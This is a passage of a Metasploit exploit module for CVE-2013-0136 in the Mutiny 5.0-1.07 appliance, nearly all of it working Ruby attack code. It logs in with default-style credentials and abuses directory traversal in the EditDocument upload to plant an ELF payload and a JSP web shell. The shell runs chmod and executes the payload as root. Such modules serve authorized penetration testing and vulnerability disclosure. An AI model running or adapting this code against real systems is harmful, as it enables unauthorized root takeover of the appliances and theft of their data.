The EditDocument servlet provides a file upload function to authenticated users. A directory traversal vulnerability in the same functionality allows for arbitrary file upload, which results in arbitrary code execution with root privileges. In order to exploit the vulnerability a valid user (any role) in the web frontend is required. The module has been tested successfully on the Mutiny 5.0-1.07 appliance. }, 'Author' => [ 'juan vazquez' # Metasploit module and initial discovery ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-0136' ], [ 'US-CERT-VU', '701572' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities' ] ], 'Privileged' => true, 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Targets' => [ [ 'Mutiny 5.0-1.07 Appliance (Linux)', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 15 2013')) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']), OptString.new('USERNAME', [ true, 'The user to authenticate as', 'superadmin@mutiny.com' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]) ], self.class) end def upload_file(location, filename, contents) post_data = Rex::MIME::Message.new post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{filename}\"") post_data.add_part("../../../..#{location}", nil, nil, "form-data; name=\"uploadPath\"") # Work around an incompatible MIME implementation data = post_data.to_s data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, "interface","EditDocument"), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => "JSESSIONID=#{@session}" }) if res and res.code == 200 and res.body =~ /\{"success":true\}/ return true else return false end end def login res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, "interface", "index.do"), 'method' => 'GET' }) if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ first_session = $1 end res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, "interface", "j_security_check"), 'method' => 'POST', 'cookie' => "JSESSIONID=#{first_session}", 'vars_post' => { 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'] } }) if res.nil? or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/ return false end res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, "interface", "index.do"), 'method' => 'GET', 'cookie' => "JSESSIONID=#{first_session}" }) if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ @session = $1 return true end return false end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "interface", "/"), }) if res and res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/ version = $1 end if version and version >= "5" and version <= "5.0-1.07" return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit @peer = "#{rhost}:#{rport}" print_status("#{@peer} - Trying to login") if login print_good("#{@peer} - Login successful") else fail_with(Exploit::Failure::NoAccess, "#{@peer} - Login failed, review USERNAME and PASSWORD options") end exploit_native end def exploit_native print_status("#{@peer} - Uploading executable Payload file") elf = payload.encoded_exe elf_location = "/tmp" elf_filename = "#{rand_text_alpha_lower(8)}.elf" if upload_file(elf_location, elf_filename, elf) register_files_for_cleanup("#{elf_location}/#{elf_filename}") f = ::File.open("/tmp/test.elf", "wb") f.write(elf) f.close else fail_with(Exploit::Failure::Unknown, "#{@peer} - Payload upload failed") end print_status("#{@peer} - Uploading JSP to execute the payload") jsp = jsp_execute_command("#{elf_location}/#{elf_filename}") jsp_location = "/usr/jakarta/tomcat/webapps/ROOT/m" jsp_filename = "#{rand_text_alpha_lower(8)}.jsp" if upload_file(jsp_location, jsp_filename, jsp) register_files_for_cleanup("#{jsp_location}/#{jsp_filename}") else fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed") end print_status("#{@peer} - Executing payload") send_request_cgi( { 'uri' => normalize_uri(target_uri.path, "m", jsp_filename), 'method' => 'GET' }) end def jsp_execute_command(command) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|try {\n| jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| jspraw << %Q|} catch (IOException ioe) { }\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n| jspraw end end |
